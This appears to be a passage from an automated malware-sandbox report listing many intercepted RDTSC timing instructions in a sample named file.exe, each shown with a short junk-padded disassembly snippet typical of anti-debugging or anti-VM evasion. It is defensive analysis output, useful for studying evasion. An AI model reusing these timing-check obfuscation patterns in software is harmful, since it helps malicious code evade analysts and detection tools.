Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F9E3 second address: 106F9E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F9E7 second address: 106F9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106FB50 second address: 106FB59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106FB59 second address: 106FB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106FB5F second address: 106FB65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106FE5B second address: 106FE6F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE6C4735516h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FE6C4735522h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106FE6F second address: 106FE75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021019 second address: 1021035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735528h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021035 second address: 1021039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107027B second address: 1070281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10703C6 second address: 10703CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10703CD second address: 10703D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10703D3 second address: 10703EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C5005F95h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10703EC second address: 10703F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10703F0 second address: 10703FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070E36 second address: 1070E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076E92 second address: 1076E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE6C5005F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076E9C second address: 1076EA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076FDF second address: 1076FF1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FE6C5005F9Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107742C second address: 107745A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE6C4735527h 0x0000000c jmp 00007FE6C4735520h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107745A second address: 1077476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE6C5005F91h 0x00000008 jbe 00007FE6C5005F86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078825 second address: 107882B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107882B second address: 107882F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081F71 second address: 1081F7B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE6C4735516h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081F7B second address: 1081FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE6C5005F97h 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FE6C5005F95h 0x00000019 je 00007FE6C5005F86h 0x0000001f js 00007FE6C5005F86h 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108111E second address: 1081139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE6C4735524h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081139 second address: 1081155 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10812A0 second address: 10812B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jno 00007FE6C4735516h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10812B5 second address: 10812BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10812BB second address: 10812C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10812C4 second address: 10812DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F94h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10812DE second address: 10812E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10815E9 second address: 10815F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007FE6C5005F86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10815F9 second address: 1081604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE6C4735516h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081604 second address: 1081613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081613 second address: 1081617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10894C2 second address: 10894C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10894C6 second address: 10894CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1087F00 second address: 1087F19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Fh 0x00000007 jo 00007FE6C5005F86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1087F19 second address: 1087F1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1087F1F second address: 1087F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088C29 second address: 1088C47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007FE6C4735516h 0x00000010 ja 00007FE6C4735516h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108740C second address: 1087418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE6C5005F86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094994 second address: 10949B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735527h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109456F second address: 1094575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094575 second address: 109457A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F583 second address: 109F5C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F94h 0x00000007 jmp 00007FE6C5005F98h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 jl 00007FE6C5005F88h 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6DE7 second address: 10A6DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6DED second address: 10A6E0D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FE6C5005F90h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6E0D second address: 10A6E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6E15 second address: 10A6E1F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6E1F second address: 10A6E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6E25 second address: 10A6E29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6852 second address: 10A6858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A698B second address: 10A6991 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6991 second address: 10A69AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C473551Fh 0x00000009 je 00007FE6C4735516h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A851F second address: 10A8539 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F91h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B47A3 second address: 10B47A8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4634 second address: 10B463C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B463C second address: 10B4649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jp 00007FE6C4735516h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDD0B second address: 10BDD16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FE6C5005F86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDD16 second address: 10BDD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 ja 00007FE6C473552Dh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FE6C4735525h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE6C4735524h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE000 second address: 10BE007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE18F second address: 10BE195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE195 second address: 10BE1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE6C5005F8Ah 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE447 second address: 10BE44D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE44D second address: 10BE45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FE6C5005F86h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE45B second address: 10BE480 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE6C4735516h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FE6C4735523h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE480 second address: 10BE4B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE6C5005F95h 0x00000008 push edx 0x00000009 pop edx 0x0000000a jo 00007FE6C5005F86h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE6C5005F93h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0AB5 second address: 10C0AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0AB9 second address: 10C0ABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4E38 second address: 10C4E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007FE6C4735516h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CFD68 second address: 10CFD74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FE6C5005F86h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5631 second address: 10E5635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5635 second address: 10E5669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE6C5005F95h 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FE6C5005F8Ch 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 jng 00007FE6C5005F86h 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5669 second address: 10E566E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6D26 second address: 10E6D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FE6C5005F8Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6D39 second address: 10E6D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8BD3 second address: 10E8BF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FE6C5005F94h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E87FD second address: 10E8810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Eh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8964 second address: 10E896A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E896A second address: 10E8970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11003E7 second address: 11003EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11006D1 second address: 11006D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11006D7 second address: 11006DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11006DB second address: 11006DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11009A9 second address: 11009AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11009AF second address: 11009B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11009B3 second address: 11009BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100C8F second address: 1100CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FE6C4735516h 0x0000000c popad 0x0000000d jmp 00007FE6C4735524h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100CB9 second address: 1100CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100CBD second address: 1100CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100E2B second address: 1100E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11011C6 second address: 11011CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11011CA second address: 11011CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11011CE second address: 11011E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FE6C473551Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102CE7 second address: 1102CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE6C5005F86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102CF2 second address: 1102D3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE6C4735527h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE6C4735526h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE6C4735524h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105620 second address: 1105624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11058AA second address: 11058BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jl 00007FE6C4735524h 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FE6C4735516h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105973 second address: 1105977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105977 second address: 11059AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 jmp 00007FE6C473551Bh 0x0000000e pop ecx 0x0000000f nop 0x00000010 sub dword ptr [ebp+122D1C8Eh], edx 0x00000016 push 00000004h 0x00000018 mov dword ptr [ebp+12469F71h], edi 0x0000001e push 771B5757h 0x00000023 push eax 0x00000024 push edx 0x00000025 je 00007FE6C4735518h 0x0000002b push edi 0x0000002c pop edi 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105C57 second address: 1105C5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
